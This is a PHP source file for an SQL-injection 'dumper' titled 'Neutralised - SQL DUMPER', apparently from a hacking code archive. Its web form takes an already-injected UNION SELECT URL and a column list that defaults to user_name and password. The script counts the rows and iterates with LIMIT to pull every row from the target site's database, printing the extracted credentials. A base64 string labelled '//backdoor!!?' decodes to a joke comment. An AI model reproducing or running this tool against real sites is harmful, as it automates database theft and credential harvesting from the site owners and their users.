./c0de/php/neutsqldumper.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
<?php
//Neutralised - SQL DUMPER
?>
<title>Neutralised - SQL DUMPER</title>
<style type="text/css">
body {
background-color: #D8D8D8;
font-family: Arial, Verdana, Helvetica, sans-serif;
font-size: 12px;
color: #000000;
}
.textbox {
	border: #000000 1px solid;
    font-size: 12px;
    font-family: Arial, Verdana, Helvetica, sans-serif;
    background-color: #D8D8D8;
}
</style>
<form action="" method="post">
Site:<br /><input name="site" class="textbox" type="text" value="http://www.site.com/x.php?id=-99+UNION+ALL+SELECT+1,Neutralise,3+from+admin--" size="180"/><br />
Dump:<br /><input name="data" class="textbox" type="text" value="user_name,0x3a,password" size="180"/><br /><br />
<input name="submit_lol" class="textbox" value="Submit" type="submit">
</form>
<font size=1px><b>Usage:</b> Enter in the site you have injected, with 'Neutralise' in the visible col.<br />
Then enter into the dump the cols you wish to extract, adding the 0x3a between each for readability.<br />
Just like in the above example.</font>
<?php
set_time_limit(0);
if (isset($_POST["submit_lol"])) {
$site = $_POST['site'];
$userdata = $_POST['data'];
$inj = "unhex(hex(concat(0x4E65757472616C6973653a,".$userdata.",0x4E65757472616C6973653a)))";
$count = "concat(0x4E65757472616C697365,count(*),0x4E65757472616C697365)";
 
echo "<br /><br />[+] Dumping URL : ".$site."";
$old = array('unhex(hex(concat(0x4E65757472616C6973653a,', '0x3a,' ,',0x4E65757472616C6973653a)))');
$new   = array("", "", "");
$dumpn = str_replace($old, $new, $inj);
$pieces = explode(",", $dumpn);
echo "<br />[+] Extracting : ";
foreach ($pieces as $piece) {
echo "".$piece.",";
}
 
$totalcount = str_replace("Neutralise", $count, $site);
$limit = get($totalcount);
if (!$limit){
echo "<br />[+] Dead injection point!";
}
else{
echo "<br />[+] Found ".$limit." entries to extract.<br /><br />";
}
$i = 0;
while ($i<$limit) {
$i2 = $i + 1;
$old = array("Neutralise", "--");
$new   = array($inj, "+limit+".$i.",1--");
$siteinj = str_replace($old, $new, $site);
$siteinjresult = get($siteinj);
if (!$siteinjresult){
echo "<br />[+] Wrong cols!";
}
else{
echo "".$i2." ".$siteinjresult.":<br />";
}
$i++;
}
}
 
function get($site){
$GET = @file_get_contents($site);
if (preg_match("/Neutralise(.*?)Neutralise/i",$GET, $matches))  {
return $matches[1];
}
}
//backdoor!!?
$str = "PCEtLUxPTCBqdXN0IG1lc3Npbmcgd2l0aCB5YSEgWEQtLT4=";
echo base64_decode($str);
?>
 

Back